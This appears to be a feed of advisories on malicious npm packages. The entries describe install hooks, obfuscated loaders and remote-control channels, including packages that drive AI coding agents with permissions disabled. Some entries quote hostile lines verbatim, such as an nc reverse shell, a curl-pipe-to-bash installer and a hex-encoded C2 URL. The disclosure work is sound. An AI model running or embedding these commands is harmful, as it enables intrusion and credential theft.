Malicious code in neon-terminal (npm)

Source: amazon-inspector fe8b090e304f95042a17db9e22edef03d8cdd073a214806e8aa3ebe7b2d138f9 neon-terminal advertises itself as an ANSI color helper but its CJS entry dist/index.cjs and ESM entry src/index.js each execute a shell command at top level, so the code fires on require'neon-terminal' or...

Malicious code in internallib_v234 (npm)

Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an interactive reverse shell from the installer to a hardcode...

Malicious code in trinity-scheme (npm)

Source: amazon-inspector 5d576c0487668f599137a479e17ddc1335935fdec631f7d5adfa9e73049d7652 On npm install, the package's preinstall lifecycle reads a hex-encoded command string from preinstall.json, decodes it via Buffer.from..., 'hex', and passes the decoded shell command to childprocess.exec. Th...

Malicious code in node-procmetrics (npm)

Source: amazon-inspector e41a88d3fab17af2429cc051cce026d47622123ce4005d3fbdda844dfca2783a install.js executes automatically via the package.json postinstall hook. It XOR-decodes key 0x5A a hardcoded npm registry auth token and writes it into the installer's global npm config at...

Malicious code in @sheltr_/agent (npm)

Source: amazon-inspector 0ecc4dcd6d76f100601f8b37a6b9c3aab899770ab361f2714f9193a2f8d0db78 When the package's bin entry is run, it spawns an interactive PTY shell using $SHELL with the user's full process environment and HOME as the working directory, then opens a WebSocket connection to a hardcod...

Malicious code in node-sysmon-native (npm)

Source: amazon-inspector 612887c8528ff96b3bc3a61d678b6376099480c080d2d8a0960fe7798ac25f33 On module load, index.js reconstructs a hex-encoded URL Buffer.from'687474703a2f2f3135322e35332e3132302e39302f636d64','hex' that decodes to http://152.53.120.90/cmd and enters an asynchronous polling loop th...

Malicious code in stella-coder (npm)

Source: amazon-inspector f0c3ed879ef15a68d537ad7b6ddb59508aba58eee49c8ca19b916ef59a0c2da6 stella-cli/telegram-bot.mjs hardcodes a Telegram bot API token BOTTOKEN = "8923551485:AAFw4wG8ZwOtp5rzFsnguxhu4AH-2ebSi0" that is controlled by the package author. When the user invokes the /tg CLI command,...

Malicious code in creditgauge (npm)

Source: amazon-inspector d0bd064afe94f426f1124703c1c1f7ac52ee1ad1df728c33ce7cbe4328bae876 The package has no functional library code: package.json declares main=index.js but no index.js is shipped; the tarball contains only package.json and a.claude/settings.json payload. The settings.json...

Malicious code in ggk-happy (npm)

Source: amazon-inspector d747cc7acd8bbc1defbf475aa3202fd332fd43135a6fedddfcc37356ce02eb54 Package presents itself as the legitimate slopus/happy CLI README instructs npm install -g happy; homepage, repository, bugs, and author fields all point at happy.engineering / github.com/slopus/happy, but t...

Malicious code in http-ws-listener (npm)

Source: amazon-inspector 2b70acc8a626218c5855ef656a6945f1f2018c0ff62c112d9b31bae5016fae49 [email protected] ships misc/configFetcher.js, which reconstructs a hidden Pastebin URL and the module names 'net' and 'childprocess' by triple-base64-decoding a Lorem-ipsum string literal and indexing...

Malicious code in phantomx-tool-client (npm)

Source: amazon-inspector b5e528800706b219f69d8bc87eb77203c752c8b4720e8c0b8fc04cad6df8ce1d When the tool-server bin is launched, the package establishes a persistent Socket.IO client connection to a remote orchestration server and registers handlers that hand off remote-supplied payloads to...

Malicious code in vanexa-agent (npm)

Source: amazon-inspector 433bc5b1e6814e9c9a1f5d4ff26e2dbb31fdb8a5e9a08f9c94696347dcbeb803 When the daemon is started vanexa-agent start, it opens a WebSocket to the hardcoded relay wss://vanexa-agent-relay.hanazaki542.workers.dev/ws/daemon/ and dispatches incoming taskrequest messages into an...

Malicious code in @velora-dex/sdk (npm)

Malicious npm package executing base64-decoded shell command to download and run stage-2 payload from C2 server 89.36.224.5 targeting macOS Source: amazon-inspector 21a732dd2745098176d2c19fe3edb359db6f6690b5d14b8d49e8a00b61325311 The package @velora-dex/sdk was found to contain malicious code...

Malicious code in sensorium-mcp (npm)

Source: amazon-inspector 73c4ac95caf91cb047bab32d5202efa2dfc2e4f84a032160419a7c30739da91c sensorium-mcp starts a background poller against api.telegram.org/getUpdates and delivers received message text as prompts to locally spawned Claude Code invoked with --dangerously-skip-permissions and Codex...

Malicious code in syncgrove (npm)

Source: amazon-inspector 6c96b3528ab792944d243b00ae61facc33740850b5cb2ed19671fd6732e43494 The package's postinstall lifecycle script contacts a hardcoded plain-HTTP endpoint at http://player.sweeprovider.org, retrieves a key via /getKey.php and an AES-CBC encrypted payload via...

Malicious code in sakuraai (npm)

Source: amazon-inspector d0910c3572d73bd98775851cb79032ba00dbceda2de969b25f04a7a7d1ddfe4e When the daemon is started e.g. via sakura daemon start, the package binds an HTTP+WebSocket server on 0.0.0.0 and additionally exposes it via a Tailscale sidecar. The WebSocket handler spawns an interactive...

Malicious code in code-formatter-setup (npm)

Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'", fetching an unpinned, unverified shell script from...

Malicious code in agentto (npm)

Source: amazon-inspector 8cd82c93e5f7bc0005dec9fbf18f01ec45bb6e6d2fb97bad2479c0209a7414bf [email protected] opens a WebSocket to the hardcoded server wss://link.agentto.net and routes terminal. RPC frames received from that server into a shell/PTY spawned on the installer's host. The terminal.input...

Malicious code in @funny-booth/agent-core (npm)

Source: amazon-inspector 6693129f8b6f8b6c2d52722ca7746d6ef3dd792476297fa3583d3956548eb2b4 The package ships heavily obfuscated runtime files dist/index.js, dist/launcher.js built with javascript-obfuscator. The MCP server registered as the package's main entry exposes an installmcp tool that...

Malicious code in @yuandc/aica (npm)

Source: amazon-inspector a9352926e7ceab9460eb3fecae1dfd1bcb9417efa9488e6f7f858149a47e1f31 Package runs a persistent worker invoked via the aica start CLI that long-polls the hardcoded endpoint https://aca.kinghon.com.cn:8843/ for three streams of server-directed work. 1 /api/client/jobs/claim...